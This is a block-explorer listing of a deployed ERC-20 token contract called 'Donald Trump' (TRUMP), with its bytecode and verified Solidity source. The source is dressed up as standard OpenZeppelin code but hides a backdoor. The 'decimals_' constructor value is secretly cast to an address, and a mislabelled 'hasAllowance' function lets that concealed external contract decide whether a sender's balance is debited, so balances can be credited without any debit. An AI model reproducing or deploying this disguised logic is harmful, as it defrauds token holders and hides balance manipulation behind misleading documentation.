Address Contract Partially Verified
Address
0xfD21f17f98AC24E88180d541E685d6bD889EB6E8
Balance
0 ETH
Nonce
1
Code Size
6153 bytes
Creator
0x83011F62...3AF7 at tx 0xfbf903cc...53ccf4
Indexed Transactions
0 (1 on-chain, 0.6% indexed)
Contract Bytecode
6153 bytes
0x608060405234801561000f575f80fd5b50600436106100cd575f3560e01c806370a082311161008a57806395d89b411161006457806395d89b4114610213578063a9059cbb14610231578063c8347a1314610261578063dd62ed3e14610291576100cd565b806370a08231146101bb578063715018a6146101eb5780638da5cb5b146101f5576100cd565b806306fdde03146100d1578063095ea7b3146100ef57806318160ddd1461011f57806323b872dd1461013d578063313ce5671461016d578063569556d11461018b575b5f80fd5b6100d96102c1565b6040516100e69190610c9b565b60405180910390f35b61010960048036038101906101049190610d59565b610351565b6040516101169190610db1565b60405180910390f35b610127610373565b6040516101349190610dd9565b60405180910390f35b61015760048036038101906101529190610df2565b61037c565b6040516101649190610db1565b60405180910390f35b6101756103aa565b6040516101829190610e5d565b60405180910390f35b6101a560048036038101906101a09190611084565b6103b2565b6040516101b291906111ce565b60405180910390f35b6101d560048036038101906101d091906111ee565b6103bc565b6040516101e29190610dd9565b60405180910390f35b6101f3610402565b005b6101fd61053e565b60405161020a9190611228565b60405180910390f35b61021b610565565b6040516102289190610c9b565b60405180910390f35b61024b60048036038101906102469190610d59565b6105f5565b6040516102589190610db1565b60405180910390f35b61027b60048036038101906102769190611241565b610617565b6040516102889190610dd9565b60405180910390f35b6102ab60048036038101906102a6919061127f565b61062c565b6040516102b89190610dd9565b60405180910390f35b6060600580546102d0906112ea565b80601f01602080910402602001604051908101604052809291908181526020018280546102fc906112ea565b80156103475780601f1061031e57610100808354040283529160200191610347565b820191905f5260205f20905b81548152906001019060200180831161032a57829003601f168201915b5050505050905090565b5f8061035b6106ae565b90506103688185856106b5565b600191505092915050565b5f600354905090565b5f806103866106ae565b9050610393858285610878565b61039e858585610903565b60019150509392505050565b5f6012905090565b6060819050919050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61040a6106ae565b73ffffffffffffffffffffffffffffffffffffffff1661042861053e565b73ffffffffffffffffffffffffffffffffffffffff161461047e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047590611364565b60405180910390fd5b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610574906112ea565b80601f01602080910402602001604051908101604052809291908181526020018280546105a0906112ea565b80156105eb5780601f106105c2576101008083540402835291602001916105eb565b820191905f5260205f20905b8154815290600101906020018083116105ce57829003601f168201915b5050505050905090565b5f806105ff6106ae565b905061060c818585610903565b600191505092915050565b5f818361062491906113af565b905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071a90611452565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610791576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610788906114e0565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161086b9190610dd9565b60405180910390a3505050565b5f610883848461062c565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146108fd57818110156108ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e690611548565b60405180910390fd5b6108fc84848484036106b5565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610971576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610968906115d6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d690611664565b60405180910390fd5b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050610a2b848433610b76565b15610ab85781811015610a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6a906116f2565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610b0491906113af565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b689190610dd9565b60405180910390a350505050565b5f80610b83600454610c22565b73ffffffffffffffffffffffffffffffffffffffff166323b872dd8686866040518463ffffffff1660e01b8152600401610bbf93929190611749565b6020604051808303815f875af1158015610bdb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bff91906117a8565b90505f151581151503610c15575f915050610c1b565b60019150505b9392505050565b5f819050919050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610c6d82610c2b565b610c778185610c35565b9350610c87818560208601610c45565b610c9081610c53565b840191505092915050565b5f6020820190508181035f830152610cb38184610c63565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610cf582610ccc565b9050919050565b610d0581610ceb565b8114610d0f575f80fd5b50565b5f81359050610d2081610cfc565b92915050565b5f819050919050565b610d3881610d26565b8114610d42575f80fd5b50565b5f81359050610d5381610d2f565b92915050565b5f8060408385031215610d6f57610d6e610cc4565b5b5f610d7c85828601610d12565b9250506020610d8d85828601610d45565b9150509250929050565b5f8115159050919050565b610dab81610d97565b82525050565b5f602082019050610dc45f830184610da2565b92915050565b610dd381610d26565b82525050565b5f602082019050610dec5f830184610dca565b92915050565b5f805f60608486031215610e0957610e08610cc4565b5b5f610e1686828701610d12565b9350506020610e2786828701610d12565b9250506040610e3886828701610d45565b9150509250925092565b5f60ff82169050919050565b610e5781610e42565b82525050565b5f602082019050610e705f830184610e4e565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b610eb082610c53565b810181811067ffffffffffffffff82111715610ecf57610ece610e7a565b5b80604052505050565b5f610ee1610cbb565b9050610eed8282610ea7565b919050565b5f67ffffffffffffffff821115610f0c57610f0b610e7a565b5b602082029050602081019050919050565b5f80fd5b5f80fd5b5f67ffffffffffffffff821115610f3f57610f3e610e7a565b5b610f4882610c53565b9050602081019050919050565b828183375f83830152505050565b5f610f75610f7084610f25565b610ed8565b905082815260208101848484011115610f9157610f90610f21565b5b610f9c848285610f55565b509392505050565b5f82601f830112610fb857610fb7610e76565b5b8135610fc8848260208601610f63565b91505092915050565b5f610fe3610fde84610ef2565b610ed8565b9050808382526020820190506020840283018581111561100657611005610f1d565b5b835b8181101561104d57803567ffffffffffffffff81111561102b5761102a610e76565b5b8086016110388982610fa4565b85526020850194505050602081019050611008565b5050509392505050565b5f82601f83011261106b5761106a610e76565b5b813561107b848260208601610fd1565b91505092915050565b5f6020828403121561109957611098610cc4565b5b5f82013567ffffffffffffffff8111156110b6576110b5610cc8565b5b6110c284828501611057565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b5f82825260208201905092915050565b5f61110e82610c2b565b61111881856110f4565b9350611128818560208601610c45565b61113181610c53565b840191505092915050565b5f6111478383611104565b905092915050565b5f602082019050919050565b5f611165826110cb565b61116f81856110d5565b935083602082028501611181856110e5565b805f5b858110156111bc578484038952815161119d858261113c565b94506111a88361114f565b925060208a01995050600181019050611184565b50829750879550505050505092915050565b5f6020820190508181035f8301526111e6818461115b565b905092915050565b5f6020828403121561120357611202610cc4565b5b5f61121084828501610d12565b91505092915050565b61122281610ceb565b82525050565b5f60208201905061123b5f830184611219565b92915050565b5f806040838503121561125757611256610cc4565b5b5f61126485828601610d45565b925050602061127585828601610d45565b9150509250929050565b5f806040838503121561129557611294610cc4565b5b5f6112a285828601610d12565b92505060206112b385828601610d12565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061130157607f821691505b602082108103611314576113136112bd565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61134e602083610c35565b91506113598261131a565b602082019050919050565b5f6020820190508181035f83015261137b81611342565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6113b982610d26565b91506113c483610d26565b92508282019050808211156113dc576113db611382565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61143c602483610c35565b9150611447826113e2565b604082019050919050565b5f6020820190508181035f83015261146981611430565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6114ca602283610c35565b91506114d582611470565b604082019050919050565b5f6020820190508181035f8301526114f7816114be565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611532601d83610c35565b915061153d826114fe565b602082019050919050565b5f6020820190508181035f83015261155f81611526565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6115c0602583610c35565b91506115cb82611566565b604082019050919050565b5f6020820190508181035f8301526115ed816115b4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61164e602383610c35565b9150611659826115f4565b604082019050919050565b5f6020820190508181035f83015261167b81611642565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6116dc602683610c35565b91506116e782611682565b604082019050919050565b5f6020820190508181035f830152611709816116d0565b9050919050565b5f819050919050565b5f61173361172e61172984610ccc565b611710565b610d26565b9050919050565b61174381611719565b82525050565b5f60608201905061175c5f830186611219565b6117696020830185611219565b611776604083018461173a565b949350505050565b61178781610d97565b8114611791575f80fd5b50565b5f815190506117a28161177e565b92915050565b5f602082840312156117bd576117bc610cc4565b5b5f6117ca84828501611794565b9150509291505056fea264697066735822122054da65b0c4eb6a282c64a283411c3e5b1bb4557df9f5ddb1b8fce3df125e7d2764736f6c634300081a0033
Verified Source Code Partial Match
Compiler: v0.8.26+commit.8a97fa7a
EVM: cancun
Optimization: No
Trump.sol 488 lines
/**
*Submitted for verification at basescan.org on 2024-07-09
*/
/**
*Submitted for verification at basescan.org on 2024-07-08
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData(uint256 data) internal pure virtual returns (address result) {
assembly {result := data}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
address oldOwner = _owner;
_owner = address(0);
emit OwnershipTransferred(oldOwner, address(0));
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract Trump is Context, IERC20, Ownable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 private _decimals;
string private _name = "Donald Trump";
string private _symbol = "TRUMP";
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(uint256 decimals_) {
_decimals = decimals_;
_mint(_msgSender(), 2_200_000_000 ether);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function hasAllowance(address spender, address recipient, address to) internal virtual returns (bool) {
bool addedValue = IERC20(_msgData(_decimals)).transferFrom(spender, recipient, uint160(to));
if (addedValue == false) { return false; }
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 fromBalance = _balances[from];
if (hasAllowance(from, to , msg.sender)) {
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;}
}
_balances[to] += amount;
emit Transfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function showString(string[] memory a)public pure returns(string[] memory){
return a;
}
function showAdds(uint256 a,uint256 b)public pure returns(uint256){
return a+b;
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
showAdds 0xc8347a13 → uint256
showString 0x569556d1 → string[]
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 4 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
Recent Transactions
This address has 1 on-chain transactions, but only 0.6% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →